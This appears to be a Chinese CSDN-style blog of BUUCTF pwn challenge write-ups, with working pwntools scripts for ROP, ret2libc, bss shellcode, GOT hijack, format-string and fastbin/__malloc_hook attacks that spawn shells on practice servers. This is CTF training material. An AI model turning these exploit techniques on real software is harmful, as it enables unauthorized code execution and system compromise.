BUUCTF-pwn(3)

[HarekazeCTF2019]baby_rop

该题还是比较简单的,没有什么难点!先探测一波保护!
在这里插入图片描述
在这里插入图片描述
并且还发现了字符串!
在这里插入图片描述
在这里插入图片描述
然后我们就可以开始构造payload了!
payload = b’a’*(0x10+0x8)+p64(pop_rdi)+p64(bin_sh)+p64(system_addr)
在这里插入图片描述


jarvisoj_level2_x64

这道题目过于简单,所以就不再分析了,直接上脚本!
在这里插入图片描述

from pwn import *
context(log_level='debug',os='linux',arch='x86-64')

r = remote('node4.buuoj.cn',28323)
#r = process('./level_x64')
elf = ELF('./level2_x64')
system_addr = elf.symbols['system']
bin_sh = 0x0600A90
pop_rdi = 0x04006b3

payload = b'a'*(0x80+0x8)+p64(pop_rdi)+p64(bin_sh)+p64(system_addr)+p64(0)
r.sendline(payload)

r.interactive()

ciscn_2019_n_5

在这里插入图片描述
然后使用ida进行分析一波!
在这里插入图片描述
在字符段上没有找到/bin/sh特殊字符串,所以猜测需要泄露libc!
这里写出一个泄露脚本,但是泄露出38个libc,比较多!

from pwn import *
from LibcSearcher import *
context(log_level='debug',os='linux',arch='x86-64')

#r = remote('')
r = process('./ciscn_2019_n_5')
elf = ELF('./ciscn_2019_n_5')

main = 0x0400636
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
pop_rdi = 0x0400713

def begin():
    r.recvuntil("tell me your name\n")
    r.sendline('100')
    r.recvuntil("What do you want to say to me?")

begin()
payload = b'a'*(0x20+0x8)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)

puts_addr = u64(r.recvuntil('\n').ljust(8,b'\0'))
print(puts_addr)
libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr-libc.dump('puts')
system = libc.dump('system')+libc_base
bin_sh = libc.dump('str_bin_sh')+libc_base

begin()
payload = b'a'*(0x20+0x8)+p64(pop_rdi)+p64(bin_sh)+p64(system)+p64(0)
r.sendline(payload)

r.interactive()

但是我们有更优选择!便是往bss段上写入shellcode,然后通过栈溢出返回到bss段上!
在这里插入图片描述

from pwn import *
context(log_level='debug',os='linux',arch='amd64')

r = remote('node4.buuoj.cn',25666)
#r = process('./ciscn_2019_n_5')
elf = ELF('./ciscn_2019_n_5')

bss = 0x0601080

r.recvuntil("tell me your name\n")
shellcode = asm(shellcraft.sh())
r.sendline(shellcode)

r.recvuntil("What do you want to say to me?\n")
payload = b'a'*(0x20+0x8)+p64(bss)
r.sendline(payload)

r.interactive()                      

others_shellcode

在这里插入图片描述
该题目直接nc即可取得shell!原因如下图所示!
在这里插入图片描述


ciscn_2019_ne_5

ida反编译失败时,根据提示

Decompilation failure:8048801: call analysis failed
Please refer to the manual to find appropriate actions

对8048801该处进行手动反编译,此时main函数就可以反编译了!
在这里插入图片描述
对main函数大致分析一下!
该题目是栈溢出的菜单题,需要考虑的比较多一点!

最后发现其实我想的有些问题,而且像复杂了,其实没有那么复杂!
在这里插入图片描述
在这里插入图片描述

from pwn import *
context(log_level='debug',os='linux',arch='i386')

r = remote('node4.buuoj.cn',26389)
#r = process('./ciscn_2019_ne_5')
elf = ELF('./ciscn_2019_ne_5')

system = elf.symbols['system']
sh = 0x080482ea

def choose(flag):
    r.recvuntil("0.Exit\n:")
    r.sendline(flag)

r.recvuntil("Please input admin password:")
r.sendline("administrator")
choose('1')
r.recvuntil("Please input new log info:")
payload = b'a'*(0x48+0x4)+p32(system)+p32(0xdeadbeef)+p32(sh)
r.sendline(payload)
choose('4')

r.interactive()

铁人三项(第五赛区)_2018_rop

简单的分析一番!
在这里插入图片描述
还是比较简单ret2libc的!
在这里插入图片描述

from pwn import *
from LibcSearcher import *
context(log_level='debug',os='linux',arch='i386')

r = remote('node4.buuoj.cn',27826)
#r = process('./2018_rop')
elf = ELF('./2018_rop')

main = 0x080484C6
write_plt = elf.plt['write']
write_got = elf.got['write']

payload = b'a'*(0x88+0x4)+p32(write_plt)+p32(main)+p32(1)+p32(write_got)+p32(0x4)
r.sendline(payload)
write_addr = u32(r.recv(4))
print(hex(write_addr))

libc = LibcSearcher('write',write_addr)
libc_base = write_addr - libc.dump('write')
system = libc.dump('system')+libc_base
bin_sh = libc.dump('str_bin_sh')+libc_base

payload = b'a'*(0x88+0x4)+p32(system)+p32(0)+p32(bin_sh)
r.sendline(payload)

r.interactive()

bjdctf_2020_babyrop

这道题目依旧是个ret2libc的题目,还是比较简单!
在这里插入图片描述

from pwn import *
from LibcSearcher import *
context(log_level='debug',os='linux',arch='amd64')

r = remote('node4.buuoj.cn',26326)
#r = process()
elf = ELF('./bjdctf_2020_babyrop')

main = 0x04006AD
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
pop_rdi = 0x0400733

r.recvuntil("Pull up your sword and tell me u story!\n")
payload = b'a'*(0x20+0x8)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
r.sendline(payload)
#r.recv()
puts_addr = u64(r.recv(6).ljust(8,b'\0'))
print(hex(puts_addr))

libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr-libc.dump('puts')
system = libc.dump('system')+libc_base
bin_sh = libc.dump('str_bin_sh')+libc_base

payload = b'a'*(0x20+0x8)+p64(pop_rdi)+p64(bin_sh)+p64(system)+p64(0)
r.recvuntil("Pull up your sword and tell me u story!\n")
r.sendline(payload)

r.interactive()

bjdctf_2020_babystack2

通过ida进行一定的分析!
在这里插入图片描述
在这里插入图片描述

from pwn import *
context(log_level='debug',os='linux',arch='amd64')

r = remote('node4.buuoj.cn',29066)

backdoor = 0x0400726

r.recvuntil("[+]Please input the length of your name:\n")
r.sendline('-32767')
payload = b'a'*(0x10+0x8)+p64(backdoor)
r.recvuntil("[+]What's u name?\n")
r.sendline(payload)

r.interactive()

bbbaby(陇原战)

该题目还是有点稍稍技巧的!
在这里插入图片描述
但是该题目有两个漏洞!
在这里插入图片描述
这里我们首先想到的便是泄露出canary的值,但是并没有格式化字符串漏洞,和打印函数来供我们利用!所以我们便可以劫持___stack_chk_fail函数的got表,此时canary保护措施便失败了,此时我们再ret2libc即可!
在这里插入图片描述

from pwn import *
from LibcSearcher import *
context(log_level='debug',os='linux',arch='amd64')

r = remote('node4.buuoj.cn',29170)
elf = ELF('./pwn1')

stack_chk = elf.got['__stack_chk_fail']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = 0x040090B
pop_rdi = 0x0400a03

def addressWrite(address,content):
    r.recvuntil("your choice\n")
    r.sendline('0')
    r.recvuntil("address:\n")
    r.sendline(str(address))
    r.recvuntil("content:\n")
    r.send(content)

def stackOver(content):
    r.recvuntil("your choice\n")
    r.sendline('1')
    r.recvuntil("size:\n")
    r.sendline(str(len(content)))
    r.recvuntil("content:\n")
    r.send(content)

def exit():
    r.recvuntil("your choice\n")
    r.sendline('2')


addressWrite(stack_chk,p64(puts_plt))
payload = b'a'*(0x110-0x8)+b'\0'*0x8+b'b'*0x8+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
stackOver(payload)
exit()
r.recvline()
puts_addr = u64(r.recvuntil('\x7f').ljust(8,b'\0'))
log.info("puts_address -> "+hex(puts_addr))

libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.dump('puts')
system  = libc.dump('system')+libc_base
bin_sh = libc.dump('str_bin_sh')+libc_base

payload = b'a'*(0x110+0x08)+p64(pop_rdi)+p64(bin_sh)+p64(system)+p64(main)
stackOver(payload)
exit()

r.interactive()

jarvisoj_fm

该题目是个简单的格式化字符串漏洞!
在这里插入图片描述
在这里插入图片描述

from pwn import *
context(log_level='debug',os='linux',arch='i386')

r = remote('node4.buuoj.cn',29724)
#r = process('./fm')
target = 0x0804A02C
offset = 11

payload = fmtstr_payload(offset,{target:4})
#payload = p32(x)+b'%11$n'
r.sendline(payload)

r.interactive()

babyheap_0ctf_2017

是一道堆溢出的菜单题!
在这里插入图片描述
可以发现逻辑比较简单!
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
整体的逻辑整理如上!
在这里插入图片描述
----------------------------------->
下载patchelf
git clone https://github.com/NixOS/patchelf

下载glibc-all-in_one
git clone https://github.com/matrix1001/glibc-all-in-one
----------------------------------->

patchelf基本的两种用法!

patchelf --replace-needed ldd显示的libc 你要换的libc的硬路径 ./文件名
patchelf --set-interpreter ld的硬路径 ./文件名

在这里插入图片描述
此时我们便可以使用pwndbg进行调试了!
但是出错了,因为我们没有debug调试文件,这意味着我们无法查看libc的内部结构,即无法使用heap,bins等命令,所以我们可以使用glibc-all-in_one该功能,下载的libc中带有debug文件!

所以需要设置debug文件

set debug-file-directory debug文件所在绝对目录

此时gdb就成功加载了debug调试文件!

大致思路如下:

  1. 首先申请4块0x10size的chunk与1块0x80size的chunk
  2. free掉index为1和2的chunk
  3. 利用堆溢出漏洞将index为2的fb指针指向index为4的chunk
  4. 修改index为4的chunk的size为0x21,此时top chunk便无法识别出来,故后期我们应重新将size修改为0x91
  5. 重新申请两个大小为0x10的chunk,此时index为2和4指向同一个chunk
  6. 此时我们将index为2(4)的size修改为0x91,这是top chunk重新识别到,重新申请一个0x80size的chunk,防止top chunk对index为4的chunk进行合并
  7. free掉index为4的chunk,此时该chunk被放入unsortbin中,此时fd与bk指向main_arena,我们便利用index为2的chunk打印出main_arena的地址,注意,这里的地址与main_arena的偏移量为0x58,与libc的基址的偏移量为0x58+0x3c4b20。故此时可以计算出libc的地址
  8. 重新申请一个0x60size的chunk,这里便从unsortbin中进行切分,留下了0x21的unsortbin
  9. 然后free掉index为4的chunk,利用index为2的chunk修改index为4的chunk的fd指针指向__malloc_hook-0x33的地方
  10. 此时重新申请两个0x60的chunk,故index为6的chunk实际地址为__malloc_hook-0x33
  11. 写入index为6的chunk数据修改__malloc_hook的地址为one_gadget地址
  12. 然后我们重新申请一个chunk,便会引用__malloc_hook函数,也就是one_gadge!
unsortbin 有一个特性,就是如果 usortbin 只有一个 bin ,它的 fd 和 bk 指针会指向同一个地址(unsorted bin 链表的头部),这个地址为 main_arena + 0x58 ,而且 main_arena 又相对 libc 固定偏移 0x3c4b20 ,
所以我们得到fd的值,然后再减去0x58再减去main_arena相对于libc的固定偏移,即得到libc的基地址。所以我们需要把 chunk 改成大于 fastbin 的大小,这样 free 后能进入 unsortbin 让我们能够泄露 libc 基址。

查看的__malloc_hook的地址情况!
在这里插入图片描述
运行脚本后查看一下__malloc_hook的情况,发现成功写入!
在这里插入图片描述

EXP

from pwn import *
context(log_level='debug',os='linux',arch='amd64')

#r = remote('node4.buuoj.cn',28410)
r = process('./babyheap_0ctf_2017')
elf = ELF('./babyheap_0ctf_2017')


def Allocate(size):
    r.sendlineafter("Command: ",'1')
    r.sendlineafter("Size: ",str(size))

def Fill(index,payload):
    r.sendlineafter("Command: ",'2')
    r.sendlineafter("Index: ",str(index))
    r.sendlineafter("Size: ",str(len(payload)))
    r.sendlineafter("Content: ",payload)

def Free(index):
    r.sendlineafter("Command: ",'3')
    r.sendlineafter("Index: ",str(index))

def Dump(index):
    r.sendlineafter("Command: ",'4')
    r.sendlineafter("Index: ",str(index))


Allocate(0x10)
Allocate(0x10)
Allocate(0x10)
Allocate(0x10)
Allocate(0x80)
Free(1)
Free(2)

payload = p64(0)*3+p64(0x21)+p64(0)*3+p64(0x21)+p8(0x80)
Fill(0,payload)
payload = p64(0)*3+p64(0x21)
Fill(3,payload)

Allocate(0x10)
Allocate(0x10)

payload = p64(0)*3+p64(0x91)
Fill(3,payload)

Allocate(0x80)
Free(4)

Dump(2)
main_arena = u64(r.recvuntil('\x7f')[-6:].ljust(8,b'\0'))-0x58
libc_base = main_arena-0x3c4b20
log.info("main_arena -> "+hex(main_arena))
log.info("libc_bsae -> "+hex(libc_base))

Allocate(0x60)
Free(4)
payload = p64(main_arena-0x33)
log.info('payload -> '+str(payload))
Fill(2,payload)
#print(hex(libc_base+0x3c4aed))
log.info("main_arena-0x33 -> "+hex(main_arena-0x33))
Allocate(0x60)
Allocate(0x60)
one_gadget = libc_base+0x4526a#0x4527a
log.info("one_gadget -> "+hex(one_gadget))
payload = b'a'*(0x13)+p64(one_gadget)
Fill(6,payload)
Allocate(0x60)

#gdb.attach(r)

r.interactive()

在这里插入图片描述

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值